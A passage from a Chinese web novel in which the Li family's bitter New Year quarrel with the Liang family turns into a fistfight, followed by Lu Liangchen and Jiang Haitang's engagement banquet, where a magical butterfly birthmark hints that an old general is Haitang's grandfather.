小桃子咯咯笑着,声音清脆得不得了。 不多时候,有好些小孩子路过的时候,被这奇特的雪人吸引了。 大院里的孩子,从小一起玩耍,不光是好朋友,互相之间也有攀比的心。 陆家兄弟竟然弄出这么好看的雪人,他们怎么可能落后? 很快,整个大院里的孩子都开始效仿陆家兄弟的创意。 不多时候,整个大院里,到处都是奇形怪状的雪人,王家的小胖用树枝给雪人装上“狼牙棒”,张家的姐妹给雪人披上花床单当披风,赵家的把家里的枕巾拿出来给雪人载带头上,还有戴草帽的“农夫雪人”,顶簸箕的“炊事雪人”,披蓑衣的“渔翁雪人”…… 大院里到处都是孩子们欢快的笑声。 只是,这份快乐并没有持续很长时间。 晌午时分,不少家里传出孩子撕心裂肺哭的声音,那叫一个凄惨。 陆卫国摸着屁股,心有余悸地说:“我们家真好,都没打我们!” “你们几个给我等着,今天这顿打先记下。”何婉仪叉着腰,假装凶巴巴地瞪着孙子。 陆卫国“嗖”地一下跑远了,像只受惊的兔子。 自家奶奶打人是真的打啊,很疼的好不好? 姜海棠正好看到他撒丫子跑的样子,不由笑了。 陆家这边,其乐融融,但远在金城的李家,可就不是这样了。 这个年,是吴秋云觉得过得最凄惨的一个年。 梁素雅自从回娘家之后,一直没有回来,眼瞅着过年,依然住在娘家。 李胜利大年三十的时候,去丈母娘家里接媳妇。 可是,梁素雅语气坚决的不得了:“只要你娘和你妹妹还在,我就不回去!是要娘和妹妹,还是要我,你自己看着办。” 李胜利劝她:“你结婚了,留在娘家过年不好……” “这种废话,你别对我说,我没有兄弟哥嫂,爹妈不嫌弃我,留在娘家有什么不好的?”梁素雅一点面子都没给,将李胜利撵出门去。 最终,没有接到人的李胜利只能黯然回到厂里。 想到家里连个能做饭的人都没有,李胜利最终去食堂打饭。 食堂里今天虽然也有饭,可打饭的人并不多,大部分都在家做年夜饭。 看到李胜利来打饭的时候,张尚文冷着一张脸。 哼,日子过成今天这么惨,是他咎由自取。 好好的媳妇不知道珍惜,活该。 “呦,这不是李主任吗?怎么,来我们食堂了。自己在家做饭多好啊。” 一个年轻小伙子一边给李胜利打菜,一边阴阳怪气地说。 李胜利很生气,可也知道,这些人这是在为姜海棠抱打不平呢。 最终,李胜利打了四个菜,分别是红烧肉,醋溜白菜,酸辣土豆丝,还有红烧鱼,他还打了一份饺子。 这对于现在的李胜利来说,拿出这些钱票,他已经尽力了。 以前他一个人吃饱了全家不饿,觉得自己的工资还挺高的。 自从老娘和妹妹到了城里,一家三口人就靠着他这点工资和票吃饭,是真的供应不住。 尤其是吴秀云和李秋兰两个是农村户口,没有供应粮,他还要想法子买高价粮贴补,钱是月月不够用。 他原本想着,要是能把梁素雅劝回来,两个人养着家,多少轻松一点,但梁素雅坚决不肯回来。 拎着几个饭盒回到家里,吴秀云坐在床上,板着一张死人脸,瞧见李胜利身后没有人,她更气恼了。 曾经,她以为到了城里一切都会好起来。 可来城里还没几个月,日子过得还不如以前。 就算这些年,姜海棠也没有让她受过这样的委屈,每年过年的时候,该有的饺子和肉都是有的。 越想,她对梁素雅越不满意。 “胜利啊,你说说,你找这个媳妇有啥用?原以为城里姑娘好,现在看着还不如姜海棠,大年三十都不回家,这样的女人要不得!” 这话是心里话,其实,吴秀云已经想了好久了,只是没好意思说。 以前,她看不起姜海棠,那是因为姜海棠是乡下姑娘,只会下地干活做家务,配不上她有工作的儿子。 可现在不一样了,姜海棠不光有工资,工资还高得很,都差不多是她家胜利的两倍了了。 这样的女人,也算能配得上自己儿子了。 而且,要是姜海棠回来,家里的日子肯定要好过许多。 “娘,您现在说这个还有啥意思!”李胜利坐在凳子上,都不想说话了。 第157章 吴秀云挨打了 婚都离了,他们现在就是不相干的人。 其实,李胜利也后悔了。 好些个睡不着的晚上,他都想着,如果知道姜海棠这么能干,他还会不会看上梁素雅? 他在这件事上,甚至还有点埋怨吴秀云和李秋兰,他不在家,不知道姜海棠的具体情况。 后来,她们并没有告诉他姜海棠的真实情况,以至于错过了姜海棠这样能干的女人。 要是现在他还和姜海棠在一起,在厂里肯定也是风生水起,还有那些技术…… “你们要是告诉我,姜海棠如此能干,我何必……” 虽然被埋怨,但吴秀云听出了儿子的后悔,她浑浊的眼珠子转了转。 “儿子,你和梁素雅这不要脸的女人离婚,这样不敬长辈不敬丈夫的女人,我们家不要了。”吴秀云开始动员儿子离婚。 听到母亲竟然劝自己离婚,李胜利很惊讶。 这可是破坏他的家庭,母亲怎么能说得这样轻松? “娘,我和素雅是领过证的夫妻,怎么能说离婚就离婚?” 虽然后悔,但李胜利并没有想过和梁素雅离婚,即便是梁素雅从回娘家,到现在都不肯回家,他也不曾想过离婚。 毕竟,外人眼里,他已经是离异过一次的男人,再次离婚,不知道会被人怎么议论。 “法律也没规定领了证就不能离婚,这样的女人,我们家要不起。”吴秀云越说语气越坚决。 从她这个老婆婆到了城里,当儿媳妇的就回到娘家住,这是啥意思? 这是打她这个老婆婆的脸,都已经嫁人了,还敢留在娘家,就是欠收拾。 平时也就算了,连过年都不回来,可不是诚心让人笑话他们李家? 她这个儿子是个没出息的,才让一个女人骑在头上。 而且,梁素雅统共一个当领导的二叔现在也没了,这样的女人要来有什么用? 这样的女人不是良配,只会拖累自家儿子升官发财的路。 “哥,娘说的没错,梁素雅这个女人,真是太过分了,一点都没有孝敬老人爱护弟妹的想法,这样的女人放在我们村里,是要被男人打死的。” 李秋兰也是憋着一肚子的气,现在听到母亲是这样的态度,立即在一旁帮忙。 要是姜海棠能看到这一幕,估计要笑,原来没了她,李家和梁素雅也不是那样和睦,李秋兰也不是上辈子那个口口声声轻轻热热喊着嫂子的小姑子了。 李胜利迟疑了一下,并没有开口。 厂里现在确实有很多人都在笑话自己,素雅这事确实做的不对。 还有她父母,不光不劝女儿,还帮着女儿忤逆婆家,也不是什么好人,但他实在是经不起再一次离婚了。 “娘、秋兰,这话我们自己在家说说就行了,要是被素雅听到了,更不回来了。” 他没有选择,只能和梁素雅过,还要劝素雅回家,才能缓解家里的压力。 “你让她们继续说啊,我倒是要听听,她们还能怎么编排我。” 门突然被推开,梁素雅冷冷地站在门外,后面还跟着她的父母。 原来,李胜利离开后,老两口觉得,今天是除夕,女儿还是应该回来,哪怕等这两天年过完再回娘家也好。 因此,才好说歹说,才算劝梁素雅点头回来。 哪里知道,才走到门口,就听到死老婆子劝说李胜利离婚。 梁素雅气得浑身颤抖,原来,这一家子人背后竟是这样说自己的。 “素雅,你怎么……”李胜利心虚地看着梁素雅,急忙站起来朝她走过来。 他们一家子人说媳妇的坏话被媳妇听到了,这叫什么事儿啊?素雅本来就不愿意回来,现在更难劝了。 “我怎么回来了?我不回来还不知道,你们家的人心肠这么歹毒,这个老不死的躺在炕上都不安生,还在想办法拆散儿媳和儿媳妇,难怪别人说寡妇的儿子不能嫁,果然如此。” 这话懂得都懂,几个人的脸色都变了。 可梁素雅的输出还没有结束,而是盯着李秋兰骂:“还有当小姑子的,管着哥哥嫂子的事儿,不觉得自己恶心?你们娘儿两个处心积虑地让儿子一次次离婚,是什么心思?” “莫非你们觉得自家儿子、自家哥哥好,打算内部解决?要你们真是这么恶心肮脏的想法,早点说啊,别祸害别人家的好姑娘啊!” 梁素雅虽然在骂人,可是骂着骂着,竟然把自己给骂哭了。 她觉得自己挺委屈的,结婚前,她甚至不知道李胜利还有寡母和弟妹,更不知道李胜利结过婚,清清白白的大姑娘,被人笑话当了小老婆。 她想着已经结婚了,忍下这口气继续过,谁知道,后面竟是一地鸡毛。 以前她以为,只要姜海棠离开,她的日子就会好过,谁知道,姜海棠在不在,她的日子都好过不了,李家人,是从根子上烂了的。 梁素雅的父母看着女婿一家三口,也觉得很失望,真没想到,他们好好的闺女,从小千娇百宠的闺女,竟然嫁给了这样的人。 “素雅,咱们不哭了,走,回家去!” 梁母从来都把梁素雅当成眼珠子一样疼爱,自然不能看着闺女受这样的罪,当下就要带着女儿回去。 梁父是个老实巴交的人,这会儿看着女婿,也是一言难尽的表情。 他想说两句话,可还没来得及开口,就听到吴秋云又开骂了。 “你要是敢回去,我就让我儿子和你离婚,没见过这么不孝顺的儿媳妇,老天爷,我这是造了什么孽,才让儿子娶了这么个败家的玩意儿啊!” “城里人就可以这么欺负我们乡下人吗?我得找厂里的领导问问去,问问是不是城里的儿媳妇骂乡下婆婆没人管……” 梁母听吴秀云倒打一耙,将所有的问题都找到他们家身上,气的浑身发抖。 分明是这个老虔婆自己有问题,还敢这么说,真当他们梁家都是死人了? 梁母撸起袖子冲上去,对着吴秀云就是扯头发打巴掌。 吴秀云是个瘫子,这些年又总是说自己身体不好,家里家外一点点活都不干,娇弱的不得了,哪里是身体健全的梁母的对手。 等李胜利反应过来想阻拦的时候,吴秀云已经挨了好几个巴掌,那张阴狠的脸因为肿胀,倒是圆润了不少,少了三分刻薄。 可她眼里依旧是狠毒的眼神,嘴里依然是不饶人的话。 “来人啊,城里人打人了,梁家这个娼妇没有教好闺女,还敢打上门。李胜利,你是死人,你就这么看着你丈母娘打你妈?果然是娶了媳妇忘了娘的玩意儿……” 许是被打急了,吴秀云竟然开始了群嘲模式。 “敢骂我,你才是个下作的娼妇,谁家当婆婆的天天劝着儿子儿媳妇离婚?上个被你作践走了,现在来欺负我家闺女?” “你也不撒泡尿看看自己什么德行,你儿子已经结婚,还骗我们家未婚娶了我女儿,让我女儿受尽委屈,我们家没有计较也就罢了,想着已经结婚了就好好过。” “可你这个老虔婆是真的心肠坏了,见不得儿子好,送上门祸害儿子和儿媳妇,你才来几天,就闹得这个家里鸡犬不宁的?你要是不来,我女儿好好的过日子嘞。” 梁母在和人吵架这个方面,也是非常具有战斗力的,基本上能赢了她的人不多。 就别说吴秀云这样一个瘫痪在床上,平日里都耍心眼子欺负人,但是战斗力弱鸡的人了。 吴秀云不光挨骂,还又挨了几个巴掌,脸肿胀的都快张不开嘴说话,李胜利才终于将两个人分开。 “妈,你没事吧?”李胜利忙问吴秀云,“素雅,岳母也太过分了,看看把我娘打成什么样子了?” “她没事,好得很呢。李胜利,你这个狼心狗肺的东西,我闺女我今天就带走,嫁妆也都带走,不能便宜了你这个白眼狼。” 梁母打了人,也不恋战,打算带上东西立即回家过年。 可是,李胜利不让她离开,李秋兰也在一旁帮忙堵着门。 虽然李秋兰不喜欢梁素雅,但也知道,要是梁素雅将嫁妆都搬走了,这个家可能就空了。 饶是宿舍这边人已经比较少,但因为动静太大,也已经有不少人过来看热闹了。 看着李家和梁家人打起来,周围人说什么的都有。 不过,大部分的都是抱着看热闹说风凉话来的,甚至连上门劝架的都没有。 李胜利哀求的看向梁素雅,可梁素雅气狠了,根本不理她。 “儿子,让她滚,你和她离婚,把姜海棠接回来。”偏偏到了这时候,吴秀云这边还在不停的叫嚣着。 这话,梁家父母听到了,梁素雅听到了,连外面围观看热闹的人都听到了。 第158章 订婚了 有人咋舌:“乖乖,这是看着姜工好了,打算吃回头草?” “姜工好不容易摆脱这样的家庭,傻了才会跟着他们回来吧?” “活了大半辈子,一直觉得我就够不要脸了,没想到,今天才知道什么是真正的不要脸。” “姜工和陆厂长才是天造地设的一对,都去见家长了,这老太婆还在这里胡说八道呢。” “现在后悔可还来得及?姜工只怕不是他们家能高攀的了。” …… 外面的人低声讥讽,虽然声音小,但间或有一两声还是传到了屋里。 屋里的梁素雅脸色不断变换,死死的盯着李胜利,似乎要看透这个男人一样。 “李胜利,原来你们家的人打的是这个主意,怎么?现在看着姜海棠有本事,你们就想着让她回来?” “素雅,你别误会,我没有这个意思……”李胜利忙解释。 姜海棠不可能回来,他不能和梁素雅离婚,必须稳住梁素雅。 他想的很好,无奈吴秀云今天吃了大亏,脑子也没有平日里好使了,直接开启了拖后腿模式。 “和她解释什么?海棠多好?你和这个小娼妇离婚,然后和海棠过,都不用挤在这个小破屋子里了,她那房子好,你直接搬到姜海棠那边住,这边我和你妹妹住就行了。” 吴秀云一面说,一面得意的看着梁家人。 其实,吴秀云以前对姜海棠,也是连名带姓的称呼,现在却口口声声亲昵的喊着海棠,明显就是为了刺激梁素雅。 “我呸,你也不看看,你们家的人这张脸,配不配让姜海棠回来,我不是你们厂里的人也知道,人家现在能耐着呢!” 梁母被李胜利拉着,挣扎了好几次,没能冲到吴秀云跟前收拾她,但嘴巴上一点都不饶人。 “人家姜海棠那是运气好,才离开了你们家,还想着让人家回来,你们多大的脸?人家放着那么好的陆厂长不要,要你这个烂了心肠的白眼狼?” “李胜利,我成全你,等放完假,我们就去离婚,方便你找姜海棠。” 梁素雅倒是很冷静,直接开口,将事情都定下来。 李胜利没想到,梁素雅能轻描淡写说出离婚的话。 “素雅,我真的没有这样的心思,我娘也是挨打了,心气儿不顺,这事儿咱们就别提了好不好?”李胜利急忙告饶。 梁素雅却像是吃了秤砣铁了心一样,坚持要离婚。 最终,李胜利只能眼睁睁的看着梁父梁母带着梁素雅离开。 周围围观的人还没散去,李胜利只能把门关上,隔绝那些视线。 吴秀云还在呜呜呜的哭着,说自己命苦,这样被人欺负,当儿子的都不给自己报仇。 李胜利烦的不得了,今天这事儿闹的,他最后一点脸面都丢光了。 “你们就不能省省心吗?从你们来到现在,都出了多少事儿了?过完年,我就送你们回乡下去,以后,你们就别来了。” 李胜利原本还没有下定决心,今天闹了一场,他也不打算委屈自己当孝子了。 “胜利啊,只要你们把日子过好,娘就算受点委屈也没啥,要不,你今天就送我和你妹子回去吧!” 吴秀云这会子脑子够用了,开始以退为进,委委屈屈的对着儿子说。 看着母亲这样,李胜利叹了一口气。 吴秀云又说:“胜利啊,都是娘的错,娘不该和梁家人置气,梁家的老婆子想打,我就应该将脸给她,让她用力的打,都是娘的不是。要不,你送娘到梁家门口,娘就算下跪,也让你媳妇回来。” 李胜利看着自家老娘那被打的和猪头差不多的脸,到底也不忍心苛责,只能抱着头蹲在地上。 吴秀云知道,差不多了,继续说下去,可能会让儿子生出逆反心理。 “胜利啊,娘后悔了,不应该让姜海棠离开咱们家,以前没觉得她好,现在一对比,还是觉得,咱们乡下姑娘朴实孝顺。” 上辈子姜海棠给吴秀云伺候了一辈子,吴秀云都没夸过一句,这辈子,姜海棠都离开了,她竟然有了这样的感慨。 “娘,这话不能再说了,现在后悔有什么用?” “怎么没用?她是你媳妇,告过天地的,谁说了都不好使!” 吴秀云觉得,自己这样想,一点问题都没有。 姜海棠是自己家买回来的童养媳,让她回来,她应该感恩戴德。 “妈,姜海棠怎么可能回来?我们的婚姻关系解除了。” 李胜利虽然也自以为是,但还没有自以为是到这个地步。 姜海棠,他已经高攀不上! 就算他再怎么不想承认,陆良辰都比他要好上很多,家世好,长相好,能力也比他要好。 换了他是姜海棠,也不可能不要陆良辰回到他这里来。 “她为什么不回来?你和梁素雅这个不孝的女人离婚,姜海棠肯定愿意回来。” 李秋兰冷嗤一声说:“妈,您还是别做梦了,姜海棠现在拿着高工资,还和陆厂长勾搭在一起了,怎么可能还回我们家来?” 只要想到,陆良辰那样好的男人,居然和姜海棠在一起,李秋兰的心里就像扎了一根刺一样难受。 陆良辰那样的男人,怎么可以被姜海棠玷污? 她哥是个没本事的,娶的媳妇一个不如一个,还连累他们娘被人打。 “由不得她,要是她不愿意回来,就让你哥睡了她!女人嘛,只要被睡了,那就死心塌地了。等她回咱们家,让她在家里伺候我们,把好工作让给你哥。”吴秀云眼里都是恶毒和算计。 她一点都没有意识到她说这话的时候,表情是多么的狰狞。 李胜利听到吴秀云责骂说,心里突然觉得,这事儿好像也不是不行。 可万一失手了怎么办? 关于李家盘算的事,在短短时间里,就在厂子里流传开。 就连谭书记都听到了。 谭书记听到这个消息的时候,简直不敢相信,这世上还有这样无耻的人。 他想着,自己得提醒一下陆厂长和姜海棠,省得两个人什么都不知道吃亏。 但他不知道陆家的电话。 想来想去,谭书记给胡厂长拨了一个电话。 听到熟悉的声音,胡厂长还以为谭书记是给他拜年,十分开心。 谁知道,竟然听到了这么个恶心人的消息。 “老胡啊,你说这么长时间了,快调查完了没?让这么个恶心人的玩意儿留在厂里,我是真怕厂里的空气都被污染了。” “快了,再忍耐几天,应该过完年之后就有消息了。”胡厂长劝着老搭档:“厂里那边你多盯着点儿,最近良辰和海棠两个刚立功了,估计过完年,还有表彰呢,别让这些人坏了心情。” “他们不是回家去了?怎么又立功了?” 胡厂长将自己知道的,陆良辰和见海棠回京城的时候,火车上发生的事情简单的说了一遍。 谭书记立即激动起来:“这是救了两列火车上的人,还救了两列火车啊,这功劳也不小。果然是我们老了,现在是年轻人的天下了。” “等过完年,估计你作为书记还有得忙呢。” “这样的忙我喜欢,对了,你给他们提醒一下,让他们防备着点儿。” “初五他们订婚,我过去了给他们说。” “订婚?”谭书记显然没想到:“这是好事,劳你帮我说声恭喜。” 电话费贵,两个人也没多说就挂了。 放下电话,胡厂长脸色阴沉,蒋慧贞看到了,便问:“大过年的,接了一个电话,怎么还生气了?” 胡厂长将事情说了一下:“这一家子烂人,说不定,还要耍阴谋诡计,我回头得催催,让抓紧调查,留着这么个人,总是隐患。” 时间过的很快,一眨眼就到了正月初五,这天是陆良辰和姜海棠两个人订婚的日子。 因为只是订婚不是结婚,也没有邀请多少人,就是和陆家这边关系好的几家人在一起吃一顿饭,把两个人的婚约过个明路。 虽然只是几家人,但也有好几桌,在家里准备不方便,何婉仪便将地方定在了国营饭店。 现在是过年的时候,国营饭店里人也少,这日除了他们,竟没有别的客人。 胡厂长两口子是作为女方这边的长辈出现的,姜海棠对于二人的到来十分感激。 “你们两口子也没个闺女,又这么疼海棠,要不干脆认个干亲?”开口说话的是时书岚的母亲,她语气里带着试探。 时书岚的母亲叫蒋玉贞,和蒋慧贞两个是没出五福的姐妹,对胡厂长和蒋慧贞家里的情况也比较了解。 她开始还担心,陆良辰的媳妇要是个不好的怎么办,今日见了姜海棠,她观察了好一会儿,确定这闺女是个不错的人。 但是,她觉得姜海棠没有能拿得出手的娘家,这一点不够好,要是能和胡家认个干亲也不错。 蒋慧贞手中的筷子顿了顿,觉得她这个堂姐冒失了点,她确实没有女儿,也确实挺喜欢姜海棠,但真没有过认干亲的想法。 因此,笑着打个哈哈就过去了。 众人也没有将她这个话当做一回事,都是一笑了之。 蒋玉贞有点遗憾,但既然蒋慧贞不同意,她也只能将这个念头按下。 “妈,您干嘛说这个,多尴尬啊。”时书岚悄扯了扯母亲衣袖,压低声音埋怨母亲。 “你年轻,不懂这些,我这是为了你,你这个弟妹虽然不错,但家世不好,拿不出手,少不得要被人说三道四。咱们这样的人家,多的是下眼皮子看人的人。”蒋玉贞语重心长的劝女儿。 “妈,现在这个情况,我们才越低调越好。老爷子哪里不知道多少人盯着呢,良辰的媳妇出身低不打眼,要是和胡家认干亲,难免有人多想,反而不熬。” 第159章 血脉 “妈,现在这个情况,我们才越低调越好。老爷子那里不知道多少人盯着呢,良辰的媳妇出身低不打眼,要是和胡家认干亲,难免有人多想,反而不好。” 时书岚压低声音,眼神中满是焦虑。她瞥了眼不远处正在招待宾客的陆家众人,又想起这两年风雨欲来的局势,心里更添几分烦躁。 以前怎么没发现,母亲竟然是个没有长远眼光的人呢?这两年什么形势,难道她看不清楚吗? 何况,姜海棠虽然出身不高,但她本人非常优秀,这样的姑娘,对于当前的陆家来说,才是最好的选择。 蒋玉贞还想反驳,却被时书岚打断:“妈,这事儿,您别管了,今天这日子,不适合说这个。” 要是被人听到他们母女两个说这些,还不知道会说出什么家宅不宁、妯娌不睦、兄弟阋墙之类的流言蜚语。 时书岚话音刚落,门口传来一阵骚动,众人的目光纷纷投向那里。 只见一位身形挺拔却略显沧桑的老人在警卫员的搀扶下缓缓走来,正是陆老爷子的老战友姜国柱。 老人虽已年近古稀,但眉眼间的英气仍未褪去,一身洗得发白却笔挺的中山装泛着岁月痕迹。 陆老爷子原本还在和几位亲戚谈笑,看到姜国柱到来,立刻眼睛一亮,忙不迭地起身,快步迎上去,脸上绽开灿烂的笑容。 “老伙计,你来了啊!”他紧紧握住姜国柱的手,语气中满是惊喜与关切,“你身体不好,还特意过来,真是让我过意不去。” 姜国柱笑着拍了拍陆老爷子的手背:“你家这大事儿,我怎么能不来?” 两人携手走到一旁的小包厢里,那亲昵的模样,仿佛又回到了当年并肩作战的岁月。 原来,两位老爷子从抗战年代一起参军入伍走到如今,都身居高位,但友情依然不变。 姜国柱如今的身份地位,一般情况下不参加各种宴会。 今日能来,足可见和陆家的关系非同一般, 其他人倒是也识趣,没有上前打扰两个老人。 两个人得以在包厢里安安生生地说话。 姜国柱在椅子上坐下,微微叹了口气:“恭喜你啊,老伙计。你如今也算都安排妥当了,我们两个还是你有福气。” 他望向窗外,眼神中闪过一丝不易察觉的落寞。 陆老爷子拉着老友的手,语重心长地说:“过去的事儿就别想了,你要是真觉得孤独,我多让家里的孩子过去陪陪你。要不是现在情形不好,就是给你过继一个也使得。” “我没事,都已经过去了。”姜国柱摆了摆手,“倒是没问你,良辰的媳妇是哪里人啊?” 陆老爷子顺着姜国柱的目光,看向正在大厅里忙碌的姜海棠,脸上满是欣慰的笑容:“父母都是金城那边的。” 话一出口,他才想起金城是姜国柱的伤心之地,不禁微微一怔。 不过,他很快调整过来,继续说道:“我这个儿媳妇,也是个苦命的孩子,自小没了父母,不过,她家祖祖辈辈种地,政治清白,根正苗红。” 姜国柱听后,微微点头。 经历过浪潮冲击的姜国柱对陆老爷子说的这些话深以为然。 “你们家现在不能鲜花着锦了,低调才好保全全家。” 他顿了顿,想起自己孑然一身的处境,苦笑道,“不像我,现在孤家寡人一个,那些人都不稀罕多看我一眼。” 人老了,竟越发孤单起来,就想着身边能有个孩子陪着。无奈,他命运多舛,少年丧父丧母,青年丧妻,中年丧子,孤独一生。 陆老爷子叹了口气:“谁说不是呢,早两年,郑家的姑娘喜欢良辰,我们家不敢应下这门婚事。好在良辰自己对郑家姑娘没意思。我一直都担心因为家里的事,耽误了良辰这孩子的一辈子。” “良辰喜欢这姑娘,还是……”姜国柱有些担忧地问,他总觉得陆家选这样一个无父无母的儿媳,或许另有深意。 陆家这媳妇,虽然只看了一眼,但就是莫名觉得面善。 “是他自己挑的,小姑娘虽然家里出身不高,但十分优秀,年纪轻轻就是金城纺织厂的工程师。胡启东那小子,可没少夸她,说她在厂里做了不少贡献。”陆老爷子说起姜海棠,满脸骄傲。 “那就好,自己选的就不会耽误了人家姑娘,也不至委屈了孩子。” 姜国柱点了点头,他心里清楚,陆良辰在部队本有着大好前途,却为了家族不得不退下来,远赴西北,这份牺牲不可谓不大。 “他们过得好,我也能放心。”陆老爷子感慨道。 “让良辰这小子,把新媳妇带过来我瞅瞅,老头子也沾点儿喜气。”姜国柱不知为何,总觉得那姑娘的面容有些熟悉,心中涌起一股莫名的情愫。 正巧这时,陆良辰带着姜海棠从门口走过,陆老爷子立刻喊道:“良辰,带着你媳妇进来,给你姜爷爷敬杯茶。” 姜海棠闻言,脸上带着温婉的笑容,拿起茶壶,动作优雅地给姜国柱斟茶。 她双手捧着茶碗,声音清脆悦耳:“姜爷爷,您喝茶。” 然而,就在姜海棠将茶碗递过去的瞬间,姜国柱突然像被雷击中一般,猛地站起来,一个不小心竟将姜海棠手里的茶碗“咣当“一声打翻在桌上,温热的茶水洒了一桌,杯子落地的声音在安静的包厢里格外刺耳。 陆老爷子吓了一跳,忙问:“怎么了?” 姜国柱的声音不受控制地颤抖起来:“姑娘,你能不能让我看看你的手背?” 他的眼神中充满了急切与难以置信。 姜海棠一愣,满脸疑惑地看向陆良辰,眼中满是不解。自己手背上有什么可以看的吗? 陆良辰同样一脸疑惑,但看着姜爷爷那急切的模样,他还是冲着姜海棠点了点头。 姜海棠犹豫了一下,缓缓将手伸出来。 下一刻,所有人都惊呆了,她的左手手背上,竟然出现了一个嫣红的蝴蝶印记,那蝴蝶栩栩如生,仿佛随时都会振翅飞走。 姜海棠自己也震惊不已,她清楚地记得,自己以前根本没有这个胎记啊,胎记怎么可能到二十岁才突然出现? 而且,上辈子,一直到她死,都没有看到过这个蝴蝶胎记。这到底是怎么回事? “姜爷爷……”姜海棠的声音也颤抖起来。 她隐隐觉得,这个突然出现的胎记,可能和眼前的老人有着千丝万缕的联系。 姜国柱死死盯着她的眉眼,呼吸变得急促而沉重,双手微微颤抖。 但最终,他只是深深看了姜海棠一眼,一句话都没说。 陆老爷子敏锐地察觉到异常,他看了看姜国柱,又看了看姜海棠,心中涌起无数疑问。 但他还是稳住心神,对陆良辰说:“你姜爷爷要休息一下,你们先出去招呼客人。” 等姜海棠和陆良辰离开后,陆老爷子立刻关上门,低声问:“老姜,这是什么情况?” 姜国柱的嘴唇哆嗦着:“她……她多大?” “不到二十岁,还不能领证结婚,才想着先给两个孩子订婚。”陆老爷子回答道。 姜国柱闭上眼睛,一滴浑浊的泪水从眼角滑落:“老陆啊,我儿子和儿媳,牺牲也将近二十年了……” 陆老爷子倒吸一口冷气,他当然记得,二十年前,姜国柱唯一的儿子和儿媳妇在西北执行任务时,被敌特残忍杀害,那时候,儿媳妇还怀着孩子。 说完话,姜国柱缓缓地将袖子往上拉了拉,露出布满皱纹的小手臂,那已经苍老的皮肤上,赫然一个与姜海棠一样的蝴蝶胎记。 “老姜,这个胎记……”陆老爷子震惊地说,他清楚地记得,姜国柱的胳膊上以前并没有这样一个胎记啊。 就在陆老爷子惊愕的目光中,姜国柱胳膊上的蝴蝶印记开始缓缓变淡,不一会儿,就消失得无影无踪,仿佛只是一场幻觉。 “这胎记……”陆老爷子瞪大了眼睛,满脸不可思议。 姜国柱摇摇头,说道:“这并不是胎记,而是我们姜家人的血脉印记,为什么出现不知道,但如果血脉相连的人近距离接触,就会出现蝴蝶印记。血脉越近,颜色越深。” “你是说……海棠她……”陆老爷子心中涌起一个大胆的猜测,但又不敢相信这是真的。 “我儿媳妇当年是怀有身孕,我一直以为,孩子还没出生他们就遇害了……但见到了海棠,我觉得,她很有可能就是我的小孙女。”姜国柱的声音中带着一丝哽咽。 虽然这个猜测太过匪夷所思,但陆老爷子又觉得,一切都太过巧合,事情或许真的如此。 “要真是如此,这是好事啊。”陆老爷子激动得眼眶都红了,“国柱啊,我们是先调查当年的事,还是直接给海棠这娃说?” 他恨不得立刻将姜海棠叫过来,让她喊爷爷,让老友能感受血脉亲人相认的喜悦。 第160章 真相 但姜国柱却拦住了陆老爷子:“不要告诉她。” “你是担心她不是你孙女,还是……”陆老爷子不解地问。 “我是个命不好的人,和我亲近的人,难免出各种意外,我只要她好好地活下去,不想她……” 姜国柱的表情伤痛而凝重,想起自己这一生,少年丧父丧母,青年丧妻,中年丧子,他的心就如被刀割一般。 他不想让姜海棠也陷入这样的命运漩涡。 “你别这么想,都是意外,都是巧合,哪有什么命不好。”陆老爷子劝说着。 可姜国柱坚决地摇头:“我除了担心自己克她之外,也担心,我们两家结成姻亲会被人盯上。就这样吧,我知道就好。” 陆老爷子看着老友坚定的眼神,知道再说什么也没用了。 这确实是当前最大的问题,那些居心叵测的人,一直对陆家虎视眈眈,亏得陆家人谨慎,又适时放权,才不至于被人抓住把柄。 “以后,我这孙女儿就拜托你们家照顾了。”姜国柱老泪纵横,心中满是不舍与无奈。 他老人家到了这把年纪,忽然多了这么一个娇滴滴的小孙女,虽然不能留在自己身边,但知道她的存在,知道她好好的,就足够了,对他来说,已经是最大的安慰了。 而此时,正在外面招呼客人的姜海棠却发现,她手背上的蝴蝶印记正在慢慢消失。 那抹嫣红越来越淡,不一会儿,就消失得干干净净,仿佛从来不曾出现过。 这诡异的一幕可真是吓到姜海棠了,她强自镇定,脸上却止不住地泛起一丝苍白,身体也微微颤抖起来。 陆良辰敏锐地察觉到姜海棠的不对劲,立刻紧紧握住她的手,却发现那手冰凉得像块石头。 “海棠,你怎么了?”他满脸担忧地问。 姜海棠没说话,只是将白皙的手伸出来给他看。 陆良辰看着那干干净净的手,也愣住了。 他清楚地记得,之前在包厢里的时候,海棠的手上明明出现了一个蝴蝶印记,怎么忽然又没了? “海棠,或许就是……我们不要多想,等晚上回去了再研究。”陆良辰轻声安慰道。 他警惕地看了看周围,虽然邀请的都是家里至亲之人,但万一被有心人盯上,总是麻烦。 姜海棠点了点头,努力让自己镇定下来。 她不知道这一切到底是怎么回事,但直觉告诉她,这个事不简单。 很快,订婚宴开始,姜海棠和陆良辰逐一给亲朋好友们敬酒。 忽然,陆良辰余光瞥见姜国柱一直盯着他和海棠,准确的说,是盯着海棠。 姜爷爷布满皱纹的手紧紧攥着茶盏,指节因用力而泛白。但是海棠转身时,他却又慌忙低头喝茶,甚至,陆良辰看到他看着海棠看的时候,落了一行泪。 只是,他趁着喝茶的时候,擦干了,并未引起其他人的注意。 二人敬酒之后,回到座位上坐定。 因今日是他们的喜事,两个人是在主桌上陪着长辈们一起坐,此时的位置,就在姜国柱斜对面。 陆良辰多留心看了一下,发现姜国柱看着姜海棠,眼里闪着泪光。 而此时,姜国柱确实心里眼里都只有姜海棠,这是自己的小孙女啊,乖乖巧巧,长得这样好看。 眉眼之间有点像他那早亡的妻子,嘴巴有点像儿媳妇。 还有他们姜家的血脉印记,确定是他们家的孩子无疑。 陆良辰有点奇怪,他觉得,有什么是自己不知道的。 “良辰啊,你姜爷爷孤身一人,你和海棠要是有空,多陪陪他。“陆老爷子端起酒杯,透亮的酒液在杯中轻轻摇晃,“明天你们就去你姜爷爷家里,说不定,你姜爷爷还能给你小子点好东西。“ 陆老爷子尽量让自己的语气轻快促狭一点。 陆良辰握着酒杯的手微微一滞。 记忆中,爷爷从未对大哥、三弟和四弟有过这般嘱托,而且语气虽然轻松,却不是商量而是不容拒绝。 他下意识看向姜国柱。 姜国柱正慌乱地摆手:“不用不用......“ “怎么了,你舍不得好东西?怕便宜了我家这臭小子?“陆老爷子爽朗地笑着打趣,眼角的皱纹堆成沟壑。 姜国柱强撑着笑容,声音却有些发颤,他感激地看一眼老友,说:“我是那样的小气人?要是他们小两口明天来,我保证给一份添妆。“ 添妆? 